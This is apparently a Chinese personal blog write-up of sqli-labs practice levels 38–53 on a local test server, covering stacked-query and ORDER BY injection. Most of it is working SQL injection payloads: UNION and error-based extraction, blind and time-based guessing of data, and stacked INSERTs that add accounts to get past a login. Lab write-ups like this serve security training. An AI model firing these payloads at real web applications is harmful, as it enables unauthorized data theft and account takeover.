Yoga7xm's Blog

sqli-lab(38-53)

字数统计: 1.7k阅读时长: 8 min
2018/12/02 Share

0x00 前言

注入天书的第三阶段,外面雾霾挺大的,继续干活。

0x01 干活

Less-38(堆叠注入)

1.原理:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

2.实例:

假如查询语句为:select * from users;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select * from users ;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 123 |
| 9 | admin1 | admin1 |
+----+----------+------------+
9 rows in set

假如此时将语句改为:select * from users ; create table stacked like users;

然后show tables;

1
2
3
4
5
6
7
8
9
10
11
mysql> show tables;
+--------------------+
| Tables_in_security |
+--------------------+
| emails |
| referers |
| stacked |
| uagents |
| users |
+--------------------+
5 rows in set

可以发现已经创建了一个stacked的表。

3.局限性:

堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

在我们的web系统中,因为代码只会返回一个查询结果,因此堆栈注入第二个语句以后产生的错误或结果只能被忽略,所以我们在前端是看不到返回结果的。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息。

回到这题好像并没有过滤什么….于是直接联合查询注入。

1
http://localhost/sqli/Less-38/?id=1'  and 1=2 union select 1,database(),3--+

使用堆栈注入:

1
http://localhost/sqli/Less-38/?id=1'; insert into  users(id,username,password) values ('20','yoga','yoga')--+

打开数据库查看:

已经成功添加!!!

Less-39

打开题目,单引号测试发现报错'' LIMIT 0,1'于是猜测并没有单引号闭合,于是直接payload:

1
http://localhost/sqli/Less-39/?id=1 and 1=2 union select 1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),3

堆栈注入的利用payload与前面类似

Less-40

付给参数后,逐个测试,发现是单引号+括号的闭合方式,而且是盲注。

payload:http://localhost/sqli/Less-40/?id=1') and 1=1--+

堆栈注入的利用payload与前面类似

Less-41

给与参数后,发现是简单的bool盲注类型,

payload:http://localhost/sqli/Less-41/?id=1 and 1=1

堆栈注入的利用payload与前面类似

Less-42

查看源码,部分关键源码如下:

1
2
3
4
5
6
#login.php	
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

.........
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

可以发现,在登录界面,并未对传入的$password的值进行处理,于是可以在此进行堆栈注入,insert一个新用户,然后进行登录。
payload:

1
login_user=admin&login_password=pass' or 1=1;insert into users (id,username,password) values ('30','stacked','123');--+ &mysubmit=Login

然后利用stacked---123成功登录。

Less-43

登录进去,界面与#42一样,可能也是对username或password进行堆栈注入添加用户。

测试时,发现存在回显错误值use near ''1'')' at line 1

于是payload:

1
login_user=admin&login_password=1') or 1=1;insert into users (id,username,password) values ('31','stacked','123');--+&mysubmit=Login

查看数据库的值。

Less-44

与上面类似,直接给出payload吧

1
login_user=admin&login_password=1' or 1=1;insert into users (id,username,password) values ('32','stacked','123');--+&mysubmit=Login

Less-45

跟前面一样,直接给出payload吧

1
login_user=admin&login_password=1');insert into users (id,username,password) values ('33','stacked','123');--+&mysubmit=Login

Less-46(排序注入)

格式:IF(Condition,A,B)

意义:当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。

作用:作为条件语句使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mysql> select * from goods order by if(1=1,id,price);
+----+--------+-------+
| id | name | price |
+----+--------+-------+
| 1 | apple | 30 |
| 2 | banana | 20 |
| 3 | peach | 10 |
+----+--------+-------+
3 rows in set

mysql> select * from goods order by if(1=2,id,price);
+----+--------+-------+
| id | name | price |
+----+--------+-------+
| 3 | peach | 10 |
| 2 | banana | 20 |
| 1 | apple | 30 |
+----+--------+-------+
3 rows in set

IFNULL(expr1,expr2) 如果expr1不是NULL,IFNULL()返回expr1,否则它返回expr2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select IFNULL(null,1);
+-------------+
| IFNULL(0,1) |
+-------------+
| 1 |
+-------------+
1 row in set

mysql> select IFNULL(1,0);
+-------------+
| IFNULL(1,0) |
+-------------+
| 1 |
+-------------+
1 row in set

利用regexp()函数进行数据猜解

1.猜库名:

1
/?order=(select+1+regexp+if(substring(database(),1,1)=0x72,1,0x00))

2.猜表名:

1
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00))

3.猜指定表中列名:

1
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00))

4.猜数据:

1
/?order=(select+1+regexp+if(substring((select password from users+limit+0,1),1,1)=0x69,1,0x00))

假如有回显,可以直接利用万能的xpath报错。

回到该题,这题有回显值,于是payload:

1
http://localhost/sqli/Less-46/?sort=(updatexml(1,concat(0x7e,(select database()),0x7e),1))

Less-47

这里跟上面一样,只不是用了单引号闭合,于是payload:

1
http://localhost/sqli/Less-46/?sort=(updatexml(1,concat(0x7e,(select database()),0x7e),1))

Less-48

这里好像是盲注,没有回显的。所以payload:

1
http://localhost/sqli/Less-48/?sort=(select+1+regexp+if(substring(database(),1,1)=0x73,1,0x00))

也可以用这种方式盲注

1
http://localhost/sql/Less-48/?sort=rand(ascii(substr((select database()),1,1))>127)

Less-49

这个跟上题好像,但是不管怎样测试均为无变化。于是尝试时间盲注,成功

payload:

1
http://localhost/sqli/Less-49/?sort=1' and if(ascii(mid(database(),1,1))=115,sleep(0.1),0)--+

Less-50(堆叠+排序注入)

查看源码,部分关键源码:

1
2
3
4
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
........

由于这里使用了mysqli_multi_query()函数来执行SQL语句,而且这个与mysqli_query()最大的区别是,这个能执行多条语句,而后者只能执行一条。

所以此时我们可以用之前的堆叠注入。payload:

1
http://localhost/sqli/Less-50/?sort=1;insert into users (id,username,password) values ('34','stacked','123');

可以看出,命令已经成功执行

Less-51

这里跟上面一样,只是用单引号进行闭合了,于是payload为:

1
http://localhost/sqli/Less-51/?sort=1';insert into users (id,username,password) values ('35','stacked','123');--+

可以发现,命令依旧执行成功了

Less-52

与前面一样只是没有回显而已。payload:

1
http://localhost/sqli/Less-52/?sort=1;insert into users (id,username,password) values ('36','stacked','123');--+

Less-53

这里跟上面#52一样,只不过是加了单引号闭合,于是payload:

1
http://localhost/sqli/Less-53/?sort=1';insert into users (id,username,password) values ('37','stacked','123');--+

0x02 后记

今天这段内容主要学习了下,堆叠注入和排序注入,但是在以后的实战里,后者出现的概率较大,而且一般都会出现在搜索框中。所以还是学到了不少。明天将结束SQL天书了。


0x03 Reference

stacked-queries

MySQL Order By 注入总结

Sqli_labs通关文档

Less 46 - Less 49*

CATALOG
  1. 1. 0x00 前言
  2. 2. 0x01 干活
    1. 2.1. Less-38(堆叠注入)
    2. 2.2. Less-39
    3. 2.3. Less-40
    4. 2.4. Less-41
    5. 2.5. Less-42
    6. 2.6. Less-43
    7. 2.7. Less-44
    8. 2.8. Less-45
    9. 2.9. Less-46(排序注入)
    10. 2.10. Less-47
    11. 2.11. Less-48
    12. 2.12. Less-49
    13. 2.13. Less-50(堆叠+排序注入)
    14. 2.14. Less-51
    15. 2.15. Less-52
    16. 2.16. Less-53
  3. 3. 0x02 后记
  4. 4. 0x03 Reference